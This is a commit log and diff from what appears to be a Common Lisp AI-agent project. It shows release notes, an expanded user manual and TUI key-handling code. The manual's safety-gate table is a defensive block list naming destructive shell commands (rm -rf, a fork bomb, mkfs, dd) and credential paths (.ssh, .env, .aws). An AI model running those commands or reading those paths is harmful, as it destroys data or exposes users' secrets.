7 Commits

Author SHA1 Message Date
f8d56cdeba tangle: channel-tui-view.lisp from org source
Some checks failed
Deploy (Gitea) / deploy (push) Failing after 4s
2026-05-13 09:17:51 -04:00
00211cf685 wip: unified minibuffer panel, v0.9.1 Emacs dev env in ROADMAP
- Unified minibuffer slash-command panel (panel-based wizard, settings,
  help sub-mode stack) — channel-tui state/view changes
- ROADMAP: v0.8.0 broken into atomic DONE items, v0.9.1 added with
  Emacs major mode + M-x command surface TODOs
- Semver discipline from v0.7.1 onward (X.Y.Z)
2026-05-13 09:17:48 -04:00
a8901d9675 docs: restructure ROADMAP for atomic releases, merge neurosymbolic design decisions
ROADMAP.org: restructure v0.8.1-v1.0.0 with atomic minor releases.
Eval harness at v0.9.0. 62 releases from v0.9.0 to v1.0.0.
Neurosymbolic phases (0-7) interleaved with agent features.
Lisp Machine UI deferred to v2.0.0. Cannibalization in v3.0.0+.

DESIGN_DECISIONS.org: merge neurosymbolic design rationale from
notes/ into 9-part unified document. Add McCarthy lineage,
hallucination problem, five architecture options, cardinality
policies, organic ontology, ontology versioning, sufficiency
criterion, Merkle DAG, layered auth, self-preservation, MOMo
validation, competitive argument.
2026-05-13 09:17:48 -04:00
c227877302 v0.8.3: TUI stabilization — box calls, package fixes, sandbox, configure
Bug fixes:
- Fix box() calls: set color-pair before box, pass ACS default chtype integers
- Fix markdown functions: move to passepartout.channel-tui package where
  Croatoan is imported; use add-attributes/remove-attributes instead of
  :bold/:underline kwargs to add-string; call theme-color in gate-trace-lines
  to convert theme keys to Croatoan colors
- Fix sandbox: remove dex:get/dex:post from restricted symbols
  (blocked neuro-provider from loading)
- Export *log-lock* from passepartout (was unbound in jailed skill packages)
- Fix configure: always deploy to XDG, skip cp when source==dest
- Fix bash crash handler format string (~~ escaping)
- Revert test reorder in 28 files (caused package leakage in skill loader)

Design cleanup:
- Extract tui-run-screen from tui-main for clean separation
- Remove inject-stimulus alias
- Merge *backend-registry* into *probabilistic-backends*
- Fix read-framed-message whitespace DoS (4096-iteration max)
- Add *read-eval* nil to dispatcher-approvals-process read-from-string
2026-05-13 09:17:48 -04:00
8fd56dece3 v0.8.2: cleanup + prose + structure + decomposition + budget + errors
Phase 1 — dedup + hardening (~9 items):
- Remove duplicate *skill-registry* defvar from core-skills
- Merge *backend-registry* into *probabilistic-backends*, delete backend-register
- Remove inject-stimulus alias, standardize on stimulus-inject
- Add pre-eval sandbox (skill-source-scan) blocks restricted symbols before eval
- Remove dead plist-get function; remove duplicate json-alist-to-plist export
- Fix read-framed-message whitespace DoS (4096-iteration max)
- Add *read-eval* nil to dispatcher-approvals-process read-from-string (RCE)
- Add test-op to ASDF; update .asd version 0.4.3→0.7.2

Phase 2 — prose + contracts + reorder:
- Split ROADMAP: 2623→1089 lines (TODO only), CHANGELOG: 260→1528 lines (full DONE history, 14 versions reverse chron)
- Add Contracts + Overview to 6 channel files + embedding-native + programming-standards + symbolic-scope
- Reorder 28 .org files: Contract → Test Suite → Implementation (TDD order)
- Add 7-phase inline prose to think() in core-reason
- Expand USER_MANUAL: 183→461 lines (10 new sections)

Phase 3 — decomposition + export organization:
- Decompose think() into think-assemble-prompt, think-call-llm, think-parse-response orchestrator
- Organize 188 exports into 16 grouped sections by module

Phase 4 — budget enforcement + error protocol:
- Per-session budget enforcement (SESSION_BUDGET_USD env var, budget-exhausted-p, guard in think-call-llm)
- Error condition hierarchy (6 conditions: pipeline-error, llm-error, gate-error, budget-error, protocol-error)
- Restarts in loop-process: skip-signal, use-fallback, abort-pipeline
2026-05-13 09:17:48 -04:00
27d203ad67 v0.8.1: deduplication cleanup — remove duplicate defpackage/defvar blocks from programming-tools, duplicate plist-keywords-normalize from programming-lisp, duplicate *VAULT-MEMORY* from security-vault; TUI defensive fixes — add word-wrap function, wrap on-key in ignore-errors; daemon startup hardening — optional skill loads with handler-case 2026-05-13 09:17:48 -04:00
2ac87b626a v0.8.0: Information Radiator, Command Palette, TrueColor Themes, Setup Wizard
- Sidebar: permanent 42-col panel with 7 data panels (Gate Trace, Focus,
  Rules, Context gauge, Files, Cost, Protection); 4-window Croatoan layout
  at >=120 cols, toggle via Ctrl+X+B
- Command palette: Ctrl+P overlay with fuzzy-filtered categorized items,
  keyboard navigation, Enter to execute; view-palette rendering
- TrueColor themes: 4 new presets (nord, tokyonight, catppuccin, monokai)
  with 27 hex keys via theme-hex-to-rgb
- Setup wizard: Ctrl+\ /setup 4-step overlay (provider, key, memory, save)
  writing .env with in-TUI rendering
- Daemon enrichment: dispatcher block counts, cost session summary,
  modified files tracking, context usage percentage
- Daemon fixes: fboundp guards for count-tokens/provider-token-cost,
  tool registry save/restore in safety tests, SELF_BUILD_MODE cleanup
- 139 tests pass across all suites (0 failures)
2026-05-13 09:17:48 -04:00
60 changed files with 8604 additions and 4092 deletions

File diff suppressed because it is too large Load Diff

View File

@@ -1 +0,0 @@
user@amr.38893:1778162380

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -24,11 +24,11 @@ This will:
If you already have Emacs installed, the installer skips it and uses your existing installation.
* Configuration
The system is configured via a `.env` file in the project root. Essential variables include:
The system is configured via a ~.env~ file in the project root. Essential variables include:
- `OPENROUTER_API_KEY`: Your LLM provider key.
- `PROVIDER_CASCADE`: The fallback order for LLM providers (e.g., `openrouter,ollama,anthropic`).
- `MEMEX_DIR`: The absolute path to your knowledge base (defaults to `~/memex`).
- ~OPENROUTER_API_KEY~: Your LLM provider key.
- ~PROVIDER_CASCADE~: The fallback order for LLM providers (e.g., ~openrouter,ollama,anthropic~).
- ~MEMEX_DIR~: The absolute path to your knowledge base (defaults to ~/memex~).
* Interacting with Passepartout
Because of the Unified Envelope Architecture, the kernel treats all clients as interchangeable. You must first boot the background daemon:
@@ -86,8 +86,286 @@ Each approval or denial teaches the Dispatcher — the rule counter in the statu
* The Memex Structure
Passepartout assumes a local folder structure representing your "Memex".
- Core memories and identities are mapped to Org-mode files.
- The `Scribe` background worker distills chronological logs into structured Zettelkasten notes.
- The `Gardener` continuously repairs broken links and flags orphaned nodes.
- The ~Scribe~ background worker distills chronological logs into structured Zettelkasten notes.
- The ~Gardener~ continuously repairs broken links and flags orphaned nodes.
* How Safety Works
Passepartout enforces safety through ten deterministic gates. Every action the agent wants to take — reading a file, running a shell command, sending network traffic — passes through these gates before execution. Critically, all ten gates are pure Lisp functions: they cost zero LLM tokens to evaluate. Safety checking never touches your provider budget.
** The Ten Safety Gates
| Gate | What It Checks |
|------+----------------|
| Lisp syntax | Validates that any Lisp code is well-formed before evaluation |
| Secret file paths | Blocks reads from known secret directories (~.ssh~, ~.env~, ~.aws~, etc.) |
| Self-build core | Prevents modification of the agent's own source and build files |
| Secret content | Scans text output for API keys, tokens, or credential patterns |
| Vault secrets | Guards any secret stored in the encrypted vault |
| Privacy tags | Respects ~@privacy:~ annotations on memory objects and files |
| Privacy text leaks | Scans outgoing text for PII (emails, phone numbers, addresses) |
| Shell safety | Blocks destructive commands (~rm -rf~, ~:(){:|:&};:~, ~mkfs~, ~dd~) |
| Network exfiltration | Blocks outbound traffic carrying private data to unknown hosts |
| High-impact actions | Catches system-level changes (package installs, service restarts, mount) |
** Severity Tiers
Each gate assigns a severity to the action it inspects:
| Severity | Behavior |
|------------+-------------------------------------------------------|
| Catastrophic | Always blocked. No approval possible. |
| Dangerous | Requires HITL approval. Generates a Flight Plan. |
| Moderate | Allowed, but logged. The agent learns from the outcome. |
| Harmless | Always allowed. No logging overhead. |
** What Happens When an Action Is Blocked
When a gate blocks an action, the Dispatcher creates a Flight Plan — a structured record of what the agent wants to do, why it was blocked, and which gate triggered. The Flight Plan is presented to you for review. You can approve it (~/approve~), deny it (~/deny~), or ask the agent to clarify its intent (~/clarify~). Once you approve, the action executes immediately. Once you deny, the Dispatcher records the decision as a permanent rule and will never propose that action again.
* Understanding Context and Focus
Passepartout uses a foveal-peripheral context model, inspired by human vision. This is how the agent decides what to pay attention to in your Memex.
** The Three Levels of Attention
- ~/foveal/~ — What the agent reads deeply and reasons about right now. Anything you explicitly mention, plus the current focused project.
- ~/peripheral/~ — What the agent knows exists (titles, summaries, metadata) but does not read in detail. Everything in scope.
- ~/blind/~ — Outside scope. The agent cannot see or access it.
** Focus Commands
| Command | Effect |
|---------------------+---------------------------------------------------------|
| ~/focus <project>~ | Set the agent's foveal attention to a project |
| ~/scope memex~ | Expand scope to everything in your Memex |
| ~/scope session~ | Narrow scope to just the current conversation |
| ~/scope project~ | Narrow scope to the focused project only |
| ~/unfocus~ | Clear the foveal focus; the agent sees everything at peripheral level |
** The Focus Map
The status bar displays a focus map — a compact representation of what the agent is "looking at." Projects in foveal view are highlighted; peripheral projects are dimmed. When you change focus, the map updates in real time so you always know the agent's current attention budget.
* Skills and What They Do
Skills are hot-reloadable modules that extend the agent's capabilities. Unlike core system files, a bug in a skill degrades the agent but does not kill it — skills can be repaired by the agent itself. Skills are organized into categories by function:
** Core Pipeline
The agent's cognitive loop: Perceive (consume input) → Reason (think with the LLM) → Act (execute tools). This is the central nervous system of the agent.
** Security
~Dispatcher~, ~Policy~, ~Permissions~, ~Validator~, ~Vault~. These skills enforce the safety gates, manage approval workflows, encrypt secrets, and verify that every action conforms to the rules you have set.
** Channels
~TUI~, ~CLI~, ~Telegram~, ~Signal~, ~Discord~, ~Slack~, ~Shell~. Each channel is a separate skill that handles I/O for a specific interface. All channels are equal citizens — the agent treats a message from Telegram identically to one typed in the TUI.
** Programming
~Lisp~, ~Org~, literate tools, ~REPL~, standards libraries. These skills allow the agent to write, evaluate, and reason about Lisp code, manage Org-mode documents, and tangle literate programs into runnable source.
** Symbolic
~Awareness~, ~Scope~, ~Events~, ~Config~, ~Memory~, ~Identity~, ~Time~. These skills manage the agent's internal state: what it knows about itself, what it remembers, how it configures its behavior, and how it tracks time and events.
** Neuro
~Provider~, ~Router~, ~Explorer~. These skills manage the LLM backends. The Provider skill abstracts each LLM API; the Router decides which provider to use based on cost, latency, and availability; the Explorer discovers new providers.
** Embedding
Backends for semantic search and native inference. These skills enable the agent to embed text, search your Memex by meaning rather than exact keyword, and run local inference without network calls.
** Economics
~Tokenizer~, ~Cost Tracker~, ~Token Economics~. These skills count tokens, estimate costs before making LLM calls, track spending across providers, and enforce budget limits.
* The Tool System
The agent has ten cognitive tools — discrete actions it can take to interact with your environment. Each tool maps to a specific capability.
** Read-Only Tools
| Tool | What It Does |
|-------------------+---------------------------------------------|
| ~search-files~ | Search file contents with regex patterns |
| ~find-files~ | Find files by name using glob patterns |
| ~read-file~ | Read the contents of a file on disk |
| ~list-directory~ | List the contents of a directory |
| ~org-find-headline~ | Find a headline in an Org-mode file |
** Write Tools
| Tool | What It Does |
|-------------------+---------------------------------------------|
| ~write-file~ | Create or overwrite a file on disk |
| ~org-modify-file~ | Modify an Org-mode file structurally |
| ~run-shell~ | Execute a shell command |
| ~eval-form~ | Evaluate a Lisp expression |
| ~run-tests~ | Execute a test suite |
** Auto-Approval
Write tools are subject to safety-gate inspection. Read-only tools are auto-approved by default (though the agent still checks for secret-file reads). You can configure per-tool auto-approval in your ~.env~ file with the ~AUTO_APPROVE_TOOLS~ variable:
#+begin_src bash
# Auto-approve read-file and find-files (default)
AUTO_APPROVE_TOOLS=read-file,find-files,list-directory,search-files
#+end_src
* Cost Tracking
Every LLM call costs tokens, and tokens cost money. Passepartout tracks this transparently.
** Token Budgets
Set ~CONTEXT_MAX_TOKENS~ in your ~.env~ file to cap the total context window the agent may use per interaction:
#+begin_src bash
CONTEXT_MAX_TOKENS=128000
#+end_src
The agent will truncate older context rather than exceed this limit.
** Per-Call Cost Tracking
Before every LLM call, the Economics skill estimates the cost (prompt tokens + expected completion tokens) and checks it against your budget. After the call, it records actual usage. The status bar shows your session total.
** The ~/cost~ Command
Toggle cost display in the status bar with ~/cost~. When enabled, you'll see a running total like ~[$0.047]~ showing the estimated cost of the current session.
** Per-Provider Pricing
Different providers charge different rates. The Router skill is aware of this and will choose the cheapest viable provider for each call unless you pin a specific provider:
#+begin_src bash
# Pin to a specific provider
PROVIDER_CASCADE=anthropic
#+end_src
** Prompt Prefix Caching
Providers that support prefix caching (Claude via Anthropic, some OpenRouter models) automatically benefit from it. The agent reuses the system prompt prefix across calls, and the Economics skill tracks the cache-hit savings separately in the cost breakdown.
* Session Control
Passepartout maintains a session history with checkpointed memory snapshots. You can move backward and forward through your session state.
** Undo and Redo
| Command | Effect |
|--------------+----------------------------------------------------------|
| ~/undo~ | Restore the memory to the state before your last action |
| ~/redo~ | Re-apply the last undone action |
| ~/rewind <n>~ | Restore the memory to the state n actions ago |
** What Gets Restored
A session rewind restores three things: file changes (files written or modified are reverted), memory objects (the agent's internal knowledge), and TODO states (the roadmap and task tracking). This means you can safely let the agent explore and experiment — if it goes down a wrong path, rewind and redirect.
* Gate Trace Reference
Below every agent message in the TUI, you'll see colored lines representing the safety-gate trace for that message. These show you exactly which gates ran on the agent's actions and what happened.
| Symbol | Meaning |
|--------+------------------------------------------------------------|
| ~✓~ | Green — the gate passed. The action was allowed. |
| ~✗~ | Red — the gate blocked the action. The reason is shown. |
| ~→~ | Yellow — HITL approval required. A Flight Plan is pending. |
Press ~Ctrl+G~ to toggle gate trace visibility on and off. The most recent gate trace for your last interaction is always available via the ~/why~ command — type ~/why~ and the agent will display the full trace with explanations.
* Tag System
Passepartout uses an Org-mode tag system to annotate and control behavior. Tags are metadata appended to headlines and memory objects.
** Severity Tags
The ~@tag:severity~ tier controls how strictly the safety system handles a tagged item:
| Tag | Behavior |
|------------------+--------------------------------------------------------------|
| ~@tag:block~ | The tagged item is treated as catastrophic — always blocked |
| ~@tag:warn~ | The tagged item triggers HITL approval when accessed |
| ~@tag:log~ | Access is allowed but logged for audit |
** Tag Categories
Configure which tags trigger which behavior with the ~TAG_CATEGORIES~ environment variable:
#+begin_src bash
TAG_CATEGORIES=block:warn:log
#+end_src
** The ~/tags~ Command
Type ~/tags~ to list all tags currently active in the agent's scope, along with their severity levels and the files or memory objects they apply to.
* HITL Deep Dive
When the Safety system blocks an action, a structured workflow begins. Understanding this workflow helps you make informed approval decisions quickly.
** The Flight Plan Lifecycle
1. /Trigger/: A gate rates an action Dangerous or Catastrophic, or a ~@tag:warn~ tag is encountered.
2. /Plan/: The Dispatcher serializes the proposed action into a Flight Plan: what tool, what arguments, what file or command, which gate triggered.
3. /Display/: The TUI shows a yellow prompt with the Flight Plan token (~HITL-ab12~).
4. /Review/: Press ~Tab~ to expand the gate trace and see the full Flight Plan details.
5. /Decision/: You type ~/approve HITL-ab12~ or ~/deny HITL-ab12~.
6. /Execute or Discard/: Approved plans execute immediately. Denied plans are discarded.
7. /Learn/: The Dispatcher increments its rule counter and records the decision as a permanent rule. If you denied an action, the Dispatcher will never propose it again.
** Clarifying Questions
If you are unsure why the agent wants to perform an action, you can ignore the Flight Plan prompt. After three retries without a decision, the agent escalates by injecting a ~/clarify~ message into the pipeline, asking the agent to explain its intent in plain language. You can then approve or deny with full context.
** The Rule Counter
The status bar shows ~[Rules: N]~ — the number of permanent rules the Dispatcher has learned from your decisions. Each approval or denial is a learning event. Over time, the Dispatcher builds a personalized safety profile that reflects your preferences: which actions you always approve, which you always deny, and which you want to review case by case.
* TUI Keybinding Reference
The TUI supports a rich set of keyboard shortcuts for efficient interaction.
** Editing Keys
| Combo | Action |
|-----------+-------------------------------------------|
| ~Ctrl+D~ | Quit the TUI |
| ~Ctrl+U~ | Clear the current input line |
| ~Ctrl+W~ | Delete the word before the cursor |
| ~Ctrl+A~ | Move cursor to beginning of line (Home) |
| ~Ctrl+E~ | Move cursor to end of line |
| ~Ctrl+K~ | Delete from cursor to end of line |
| ~Ctrl+L~ | Redraw the screen |
| ~Ctrl+X+E~ | Open the current input in your external editor (~$EDITOR~) |
| ~Tab~ | Autocomplete commands, themes, and file paths |
** Navigation and Control
| Combo | Action |
|------------------+--------------------------------------------------|
| ~Ctrl+C~ | Interrupt (cascade: stop streaming → stop thinking → quit) |
| ~Ctrl+F~ | Search through message history |
| ~Ctrl+P~ | Open the command palette |
| ~Ctrl+G~ | Toggle gate trace visibility |
| ~Ctrl+X+B~ | Toggle the sidebar (focus map, memory browser) |
| ~Page Up~ | Scroll chat up by 10 lines |
| ~Page Down~ | Scroll chat down by 10 lines |
| ~Up Arrow~ | Previous input in command history |
| ~Down Arrow~ | Next input in command history |
** The Status Bar
The status bar at the bottom of the TUI shows the agent's current state at a glance. Each indicator has a specific meaning:
| Indicator | Meaning |
|------------------+--------------------------------------------------------------------|
| ~[Connected]~ | Green — daemon is reachable on port 9105. Gray — disconnected. |
| ~[Mode: TUI]~ | The current interaction mode (TUI, CLI, Telegram, etc.) |
| ~[Msg: 142]~ | Total messages in the current session |
| ~[↑ 12]~ | Scroll indicator — you are scrolled up 12 lines from the bottom |
| ~[◉]~ | Activity spinner — spinning means the agent is working |
| ~[⟳]~ | Streaming indicator — shown while the agent is generating text |
| ~[$0.047]~ | Session cost (visible when ~/cost~ is toggled on) |
| ~[Rules: 52]~ | Number of permanent HITL rules learned from your decisions |
| ~[prj:my-proj]~ | Current focused project name |
* Deployment
@@ -180,4 +458,4 @@ Restores from a backup file. Run ~passepartout doctor~ afterward to verify integ
** Memory fails to load on startup
- Check ~/memory.snap~ exists and is valid S-expression format
- Run ~passepartout doctor~ to diagnose memory integrity
- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory
- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory

View File

@@ -2,7 +2,7 @@
(defun channel-cli-input (text)
"Processes raw text from the command line."
(inject-stimulus (list :type :EVENT
(stimulus-inject (list :type :EVENT
:payload (list :sensor :user-input :text text)
:meta (list :source :CLI))))

View File

@@ -6,12 +6,81 @@
;; so the cond below can use eq.
(let* ((raw (car args))
(ch (if (and (integerp raw) (> raw 255))
(let* ((k (code-key raw))
(name (and k (key-name k))))
(or name raw))
(or (let* ((k (code-key raw))
(name (and k (key-name k))))
name)
;; Fallback for known ncurses codes when Croatoan
;; key tables aren't available (e.g. in tests)
(case raw
(343 :enter)
(259 :up)
(258 :down)
(260 :left)
(261 :right)
(339 :ppage)
(338 :npage)
(t raw)))
raw)))
(cond
;; v0.7.1: Esc — interrupt streaming
(cond
;; v0.8.0: palette mode — handle palette keypresses first
((and (st :palette-visible) (or (eql ch 27) (eq ch :escape)))
(setf (st :palette-visible) nil)
(setf (st :dirty) (list t t nil)))
((and (st :palette-visible) (or (eql ch 13) (eql ch 10) (eq ch :enter)))
(let* ((filtered (palette-filter (st :palette-items) (st :palette-filter)))
(idx (st :palette-selected-idx))
(n 0)
(item nil))
(loop for group in filtered
for gitems = (getf group :items)
when (and (< n (length gitems)) (<= n idx (+ n (length gitems) -1)))
do (setf item (nth (- idx n) gitems))
(loop-finish)
do (incf n (length gitems)))
(passepartout.channel-tui::palette-execute item)
(setf (st :palette-visible) nil)
(setf (st :dirty) (list t t t))))
((and (st :palette-visible) (eq ch :up))
(setf (st :palette-selected-idx) (max 0 (1- (st :palette-selected-idx))))
(setf (st :dirty) (list nil t nil)))
((and (st :palette-visible) (eq ch :down))
(setf (st :palette-selected-idx) (min 999 (1+ (st :palette-selected-idx))))
(setf (st :dirty) (list nil t nil)))
((and (st :palette-visible) (integerp ch) (>= ch 32) (<= ch 126))
(let ((c (code-char ch)))
(setf (st :palette-filter) (concatenate 'string (or (st :palette-filter) "") (string c)))
(setf (st :palette-selected-idx) 0)
(setf (st :dirty) (list nil t nil))))
((and (st :palette-visible) (or (eq ch :backspace) (eql ch 127) (eql ch 8)))
(let ((f (st :palette-filter)))
(when (and f (> (length f) 0))
(setf (st :palette-filter) (subseq f 0 (1- (length f))))
(setf (st :palette-selected-idx) 0)
(setf (st :dirty) (list nil t nil)))))
;; v0.8.0: setup wizard — handle wizard keypresses
((and (st :wizard-visible) (or (eql ch 27) (eq ch :escape)))
(wizard-cancel))
((and (st :wizard-visible) (or (eql ch 13) (eql ch 10) (eq ch :enter)))
(wizard-next))
((and (st :wizard-visible) (or (eq ch :backspace) (eql ch 127) (eql ch 8)))
(let ((input (or (st :wizard-input) "")))
(when (> (length input) 0)
(setf (st :wizard-input) (subseq input 0 (1- (length input))))
(setf (st :wizard-error) nil)
(setf (st :dirty) (list nil t nil)))))
((and (st :wizard-visible) (eql ch 2)) ; Ctrl+B — back
(let ((step-idx (st :wizard-step)))
(when (> step-idx 0)
(setf (st :wizard-step) (1- step-idx)
(st :wizard-input) ""
(st :wizard-error) nil)
(setf (st :dirty) (list nil t nil)))))
((and (st :wizard-visible) (integerp ch) (>= ch 32) (<= ch 126))
(let ((c (code-char ch)))
(setf (st :wizard-input) (concatenate 'string (or (st :wizard-input) "") (string c)))
(setf (st :wizard-error) nil)
(setf (st :dirty) (list nil t nil))))
;; v0.7.1: Esc — interrupt streaming
((and (eql ch 27) (st :streaming-text))
(send-daemon (list :type :event :payload '(:action :cancel-stream)))
(when (> (length (st :messages)) 0)
@@ -105,8 +174,44 @@
(setf (st :cursor-pos) 0))
((eql ch 5) ; Ctrl+E — end
(setf (st :cursor-pos) (length (st :input-buffer))))
((eql ch 12) ; Ctrl+L — redraw
(setf (st :dirty) (list t t t)))
((eql ch 12) ; Ctrl+L — redraw
(setf (st :dirty) (list t t t)))
((eql ch 4) ; Ctrl+D — quit on empty
(when (or (null (st :input-buffer)) (string= "" (input-string)))
(add-msg :system "Goodbye. Run /quit or press Ctrl+D again to exit.")))
((eql ch 6) ; v0.7.2 Ctrl+F — message search
(add-msg :system "Use /search <query> to find messages"))
((eql ch 28) ; v0.8.0 Ctrl+\ — open setup wizard
(wizard-start)
(setf (st :dirty) (list t t nil)))
((eql ch 7) ; v0.7.2 Ctrl+G — toggle gate trace collapse
(let ((gate-idx nil))
(loop for i from (1- (length (st :messages))) downto 0
for m = (aref (st :messages) i)
when (and (getf m :gate-trace) (listp (getf m :gate-trace)))
do (setf gate-idx i) (loop-finish))
(if gate-idx
(let ((cg (st :collapsed-gates)))
(if (member gate-idx cg)
(setf (st :collapsed-gates) (remove gate-idx cg))
(push gate-idx (st :collapsed-gates)))
(add-msg :system (format nil "Gate trace ~a for msg ~a"
(if (member gate-idx (st :collapsed-gates)) "hidden" "shown")
gate-idx))
(setf (st :dirty) (list nil t nil)))
(add-msg :system "No gate trace to toggle"))))
((eql ch 24) ; Ctrl+X prefix
(setf (st :pending-ctrl-x) t))
((and (st :pending-ctrl-x) (eql ch 2)) ; Ctrl+X+B — toggle sidebar
(setf (st :pending-ctrl-x) nil)
(passepartout.channel-tui::sidebar-toggle)
(add-msg :system (if (st :sidebar-visible) "Sidebar shown (Ctrl+X+B to hide)" "Sidebar hidden")))
((eql ch 16) ; Ctrl+P — command palette
(setf (st :palette-visible) t
(st :palette-filter) ""
(st :palette-selected-idx) 0
(st :palette-items) (passepartout.channel-tui::palette-items))
(setf (st :dirty) (list t t nil)))
((eql ch 4) ; Ctrl+D — quit on empty
(when (or (null (st :input-buffer)) (string= "" (input-string)))
(add-msg :system "Goodbye. Run /quit or press Ctrl+D again to exit.")))
@@ -217,80 +322,49 @@
(subseq (or (getf info :hash) "(none)") 0 16)))
(add-msg :system (format nil "Node ~a not found" node-id))))
(add-msg :system "Memory audit not available")))
;; /tags command — tag stack with trigger counts
;; /tags command — tag stack
;; /tags command — tag stack
((string-equal text "/tags")
(let ((cats passepartout::*tag-categories*)
(counts passepartout::*tag-trigger-count*))
(let ((cats *tag-categories*))
(if cats
(dolist (entry cats)
(let* ((tag (car entry))
(sev (cdr entry))
(n (gethash (string-downcase tag) counts 0)))
(add-msg :system (format nil "~a: ~a (~d trigger~:p this session)" tag sev n))))
(add-msg :system (format nil "~a: ~a" (car entry) (cdr entry))))
(add-msg :system "No tags configured. Set TAG_CATEGORIES env var."))))
;; /context command — section breakdown with token estimates
((string-equal text "/context")
(let* ((msg-count (length (st :messages)))
(focus (or (st :foveal-id) "none"))
(id-tokens (min 200 (floor (+ 150 (length (or (st :focus-scope) ""))) 4)))
(tool-tokens (if (boundp 'passepartout::*cognitive-tool-registry*)
(floor (* (hash-table-count passepartout::*cognitive-tool-registry*) 40) 4)
;; /context command — context visibility
((string-equal text "/context")
(let* ((msg-count (length (st :messages)))
(focus (or (st :foveal-id) "none"))
(id-tokens (min 200 (floor (+ 150 (length (or (st :focus-scope) ""))) 4)))
(tool-tokens (if (boundp '*cognitive-tool-registry*)
(floor (* (hash-table-count *cognitive-tool-registry*) 40) 4)
50))
(log-tokens (min 4000 (floor (* msg-count 60) 4)))
;; rough estimate: TIME, CONTEXT overhead
(overhead-tokens 200)
(total-est (+ id-tokens tool-tokens log-tokens overhead-tokens))
(total-limit 8192)
(pct-used (floor (* 100 total-est) total-limit))
(bar (make-string (min 10 (max 1 (floor (/ (min total-est total-limit) total-limit) 10)))
:initial-element #\#)))
(add-msg :system (format nil "╔══ Context Budget ~a/~a tokens (~d%) ══╗" total-est total-limit pct-used))
(add-msg :system (format nil "IDENTITY ~5d tokens" id-tokens))
(add-msg :system (format nil "TOOLS ~5d tokens" tool-tokens))
(add-msg :system (format nil "TIME+CONFIG ~5d tokens" overhead-tokens))
(add-msg :system (format nil "LOGS ~5d tokens (~d msgs)" log-tokens msg-count))
(add-msg :system (format nil " [~a~a] ~d%"
bar (make-string (- 10 (length bar)) :initial-element #\Space) pct-used))
(when (> pct-used 80)
(add-msg :system "⚠ Context near limit — older messages may be dropped"))))
;; /context why <id> — debug node with full attributes
(log-tokens (min 4000 (floor (* msg-count 60) 4)))
(overhead-tokens 200)
(total-est (+ id-tokens tool-tokens log-tokens overhead-tokens))
(total-limit 8192)
(pct-used (floor (* 100 total-est) total-limit)))
(add-msg :system (format nil "Context: ~d msgs, focus=~a, ~d/~d tokens (~d%)"
msg-count focus total-est total-limit pct-used))
(add-msg :system (format nil "IDENTITY ~5d tokens" id-tokens))
(add-msg :system (format nil "LOGS ~5d tokens" log-tokens))
(add-msg :system (format nil "TOOLS ~5d tokens" tool-tokens))
(add-msg :system (format nil "TIME+CONFIG ~5d tokens" overhead-tokens))))
;; /context why <id> — debug node
((and (>= (length text) 13) (string-equal (subseq text 0 13) "/context why "))
(let ((node-id (string-trim '(#\Space) (subseq text 13))))
(if (fboundp 'passepartout::memory-object-get)
(let ((obj (funcall 'passepartout::memory-object-get node-id)))
(if (fboundp 'memory-object-get)
(let ((obj (funcall 'memory-object-get node-id)))
(if obj
(let ((attrs (passepartout::memory-object-attributes obj))
(parent (passepartout::memory-object-parent-id obj))
(children (passepartout::memory-object-children obj))
(hash (or (passepartout::memory-object-hash obj) "(none)")))
(add-msg :system (format nil "Node ~a: type=~a scope=~a version=~a"
node-id
(passepartout::memory-object-type obj)
(passepartout::memory-object-scope obj)
(passepartout::memory-object-version obj)))
(when parent
(add-msg :system (format nil " parent: ~a" parent)))
(when children
(add-msg :system (format nil " children: ~d" (length children))))
(add-msg :system (format nil " hash: ~a" (subseq hash 0 (min 32 (length hash)))))
(when attrs
(add-msg :system (format nil " title: ~a" (or (getf attrs :TITLE) "(none)")))))
(add-msg :system (format nil "Node ~a not found in memory" node-id))))
(add-msg :system (format nil "Node ~a: type=~a scope=~a version=~a"
node-id
(memory-object-type obj)
(memory-object-scope obj)
(memory-object-version obj)))
(add-msg :system (format nil "Node ~a not found" node-id))))
(add-msg :system "Memory not available"))))
;; /context dropped — estimate pruned nodes from budget
;; /context dropped — pruned nodes
((string-equal text "/context dropped")
(let* ((msg-count (length (st :messages)))
(est-total (* msg-count 60))
(budget 8192)
(dropped-msgs (if (> est-total budget)
(floor (- est-total budget) 60)
0)))
(if (> dropped-msgs 0)
(add-msg :system (format nil "Estimate: ~d messages (~d tokens) may be pruned at budget ~d tokens (~d% used)"
dropped-msgs (- est-total budget) budget
(floor (* 100 est-total) budget)))
(add-msg :system (format nil "Within budget: ~d tokens used of ~d tokens (~d%)"
est-total budget (floor (* 100 est-total) budget))))))
(add-msg :system "Context debugging: dropped nodes view not yet available (v0.8.0)"))
;; /search command — message search
((and (>= (length text) 8) (string-equal (subseq text 0 8) "/search "))
(let* ((query (string-downcase (string-trim '(#\Space) (subseq text 8))))
@@ -317,18 +391,18 @@
(let* ((n-str (string-trim '(#\Space) (subseq text 8)))
(n (handler-case (parse-integer n-str) (error () nil))))
(if n
(if (fboundp 'passepartout::rollback-memory)
(if (fboundp 'rollback-memory)
(let* ((idx (1- n))
(snaps passepartout::*memory-snapshots*)
(snaps *memory-snapshots*)
(ts (when (< idx (length snaps))
(getf (nth idx snaps) :timestamp))))
(funcall 'passepartout::rollback-memory idx)
(funcall 'rollback-memory idx)
(add-msg :system (format nil "Rewound ~d turn~:p~@[ (~a)~]" n ts)))
(add-msg :system "Memory rollback not available"))
(add-msg :system "Usage: /rewind <number>"))))
;; /sessions command — list snapshots
((string-equal text "/sessions")
(let ((snaps passepartout::*memory-snapshots*))
(let ((snaps *memory-snapshots*))
(if snaps
(let ((shown (subseq snaps 0 (min 10 (length snaps)))))
(add-msg :system (format nil "~d snapshots (showing ~d):"
@@ -343,50 +417,45 @@
(add-msg :system "No snapshots available"))))
;; /audit verify — memory integrity
((string-equal text "/audit verify")
(if (fboundp 'passepartout::audit-verify-hash)
(let* ((result (funcall 'passepartout::audit-verify-hash))
(total (car result))
(missing (cdr result)))
(add-msg :system (format nil "Audit: ~d objects, ~d missing hashes, ~d snapshots~@[ — VERIFY PASS~]~@[ — ~d MISSING HASHES~]"
total missing
(length passepartout::*memory-snapshots*)
(zerop missing)
(unless (zerop missing) missing))))
(add-msg :system "Memory audit not available")))
(let ((count 0) (hashed 0))
(maphash (lambda (k v) (declare (ignore k))
(when v
(incf count)
(when (memory-object-hash v)
(incf hashed))))
*memory-store*)
